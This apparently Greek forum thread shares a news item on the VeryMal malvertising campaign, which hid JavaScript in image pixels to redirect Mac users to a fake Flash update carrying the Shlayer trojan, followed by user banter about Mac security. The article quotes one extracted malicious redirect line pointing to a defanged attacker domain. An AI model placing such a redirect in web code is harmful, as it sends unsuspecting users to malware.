Χρήση στεγανογραφίας σε εικόνες, για την μόλυνση Mac με trojan

[nnn]

Στο διάστημα μεταξύ 11 και 13 Ιανουαρίου, έγινε μια μεγάλη κυβερνοεπίθεση με στόχο υπολογιστές Mac, στην οποία το γκρουπ VeryMal, χρησιμοποίησε στεγανογραφία για να "κρύψει" κώδικα JavaScript σε εικόνες, με στόχο να ξεγελάσει τους χρήστες και να εγκαταστήσει trojan. Οι μολυσμένες εικόινες προσπελάστηκαν με ρυθμό 5 εκατομμύρια φορές την ημέρα.

Όταν η εικόνα εμφανιζόταν σε σύστημα με αποκλειστικά Mac fonts, κάθε pixel της, μετατρεπόταν στον αντίστοιχο αλφαριθμητικό χαρακτήρα του. Στην συνέχεια ανακατεύθυνε τον χρήστη σε site που εμφάνιζε πως ο Flash player θέλει αναβάθμιση. Στην περίπτωση που ο χρήστης έκανε το λάθος να κάνει εγκατάσταση, μολυνόταν με το trojan Shlayer.

The image, which is displayed to the right of this text, looked unremarkable. Using some clever HTML5 programming under the hood, however, it delivered malicious code to unsuspecting Mac users. VeryMal created a canvas object, which developers use to render or enhance graphics. If the computer had Mac-specific fonts installed, the object would then loop through the underlying data in the image file and convert an individual pixel in each loop into an alphanumeric character. After adding each newly extracted character to a text string, it looked like this:

top.location.href =’hxxp://veryield-malyst.com/’ + volton + ‘?var1=’ + wsw;

Πηγή : Arstechnica

[deniSun]

Καλέ τα μήλα είναι απρόσβλητα...

[MitsosDaBest13]

Αφού τα Mac δε χρειάζονται anti-virus...

[Stavros_Developer]

Adguard και είσαι προστατευμένος από τα πάντα!

[DVader]

Καλέ ... antivirus στα MAC .. Αφού στα MAC δεν γράφουν ιούς..

[kiriakk]

Αφού τα Mac δε χρειάζονται anti-virus...

ε δεν χρειάζονταν, μέχρι το και το 2017,
δεν χρειαζόταν να ξοδευτεί φαιά ουσία για να γραφούν ιοί, δούριοι ίπποι κλπ

με root username και χωρίς password, υπήρχε πλήρης πρόσβαση στο σύστημα, ούτε τα windows Me, δεν είχανε τέτοια τρύπα

https://www.theregister.co.uk/2017/1...s_high_sierra/

[tsigarid]

Καλέ τα μήλα είναι απρόσβλητα...

Αφού τα Mac δε χρειάζονται anti-virus...

Εξυπνάδες. Διαβάσατε την είδηση; Πρέπει ο χρήστης να εγκαταστήσει κάτι. PEBCAK problem. Και όχι, δεν έχω Mac.

[deniSun]

Εξυπνάδες. Διαβάσατε την είδηση; Πρέπει ο χρήστης να εγκαταστήσει κάτι. PEBCAK problem. Και όχι, δεν έχω Mac.

Γιατί τα υπόλοιπα os τα γεννάνε;
Δεν απαιτούν κλικ;

[kiriakk]

Εξυπνάδες. Διαβάσατε την είδηση; Πρέπει ο χρήστης να εγκαταστήσει κάτι. PEBCAK problem. Και όχι, δεν έχω Mac.

σχεδόν πάντα κάτι πρέπει να κάνει ο χρήστης,
αλλοιώς όλα είναι ασφαλή κατά 99.9% άμα χρήστης είναι ο stallman

θυμάμαι πριν από χρόνια με win 95, στο desktop έμπαινα σε ότι νάναι και δεν είχα σοβαρό πρόβλημα,
με laptop μίας ημέρας, από βιασύνη είχα μπει μόνο στο in.gr σαν admin πριν φτιάξω άλλο χρήστη,
και κόλησα εκείνο τον ιό που είχε τότε, μόνο με νέα εγκατάσταση win μπόρεσα να τον ξεφορτωθώ

(και ναι, είχα και mac, και θα είχα ακόμα, αν επέτρεπε εύκολη δημιουργία triple boot )

[aiolos.01]

Εξυπνάδες. Διαβάσατε την είδηση; Πρέπει ο χρήστης να εγκαταστήσει κάτι. PEBCAK problem. Και όχι, δεν έχω Mac.

Αυτές τις ...εξυπνάδες φίλε δεν τις λέμε εμείς. Οι μηλαράδες τις λένε. Σε κάθε παρόμοια είδηση για windows πετάγονται και λένε πως τα μήλα τους είναι απρόσβλητα στα πάντα γιατί το λειτουργικό το έχουν γράψει μαγικά ξωτικά απο τη χώρα του πήτερ παν. 9 στις 10 φορές βέβαια η μόλυνση είναι βλακεία του χρήστη αλλά δεν κολλάνε σε τέτοιες λεπτομερείς.

[tsigarid]

Γιατί τα υπόλοιπα os τα γεννάνε;
Δεν απαιτούν κλικ;

Όχι πάντα.

Αυτές τις ...εξυπνάδες φίλε δεν τις λέμε εμείς. Οι μηλαράδες τις λένε. Σε κάθε παρόμοια είδηση για windows πετάγονται και λένε πως τα μήλα τους είναι απρόσβλητα στα πάντα γιατί το λειτουργικό το έχουν γράψει μαγικά ξωτικά απο τη χώρα του πήτερ παν. 9 στις 10 φορές βέβαια η μόλυνση είναι βλακεία του χρήστη αλλά δεν κολλάνε σε τέτοιες λεπτομερείς.

99 στις 100. Το ότι οι χρήστες Mac λένε βλακείες όμως δεν σημαίνει ότι άλλοι πρέπει να γίνονται γραφικοί για να τις επαναλάβουν (εκεί κολλάει το εξυπνάδες). Ας μην κρυβόμαστε πίσω από το δάχτυλό μας, όλοι ξέρουμε την προκατάληψη που υπάρχει για τους "μηλαράδες" που λες, και ο τρόπος σου στη συνέχεια του μηνύματος το αποδεικνύει.

Βάλτε linux

[gcf]

To malware αν κατάλαβα καλά εκμεταλλευόταν και κάποια αδυναμία του συστήματος - λειτουργούσε μόνο αν υπήρχαν specific Mac fonts.

[psolord]

Αυτο δεν ειναι αδυναμια, ειναι feature!

[Zus]

Όταν η εικόνα εμφανιζόταν σε σύστημα με αποκλειστικά Mac fonts, κάθε pixel της, μετατρεπόταν στον αντίστοιχο αλφαριθμητικό χαρακτήρα του. Στην συνέχεια ανακατεύθυνε τον χρήστη σε site που εμφάνιζε πως ο Flash player θέλει αναβάθμιση.

Υπάρχει κάποιος να μας εξηγήσει λίγο παραπάνω το συγκεκριμένο, που είναι και το ζουμί?

[Parrot]

Υπερεκτιμημένα τα μηλαράκια, ούτε αξίζει να ασχολούμαστε μαζί τους ... σάπια μήλα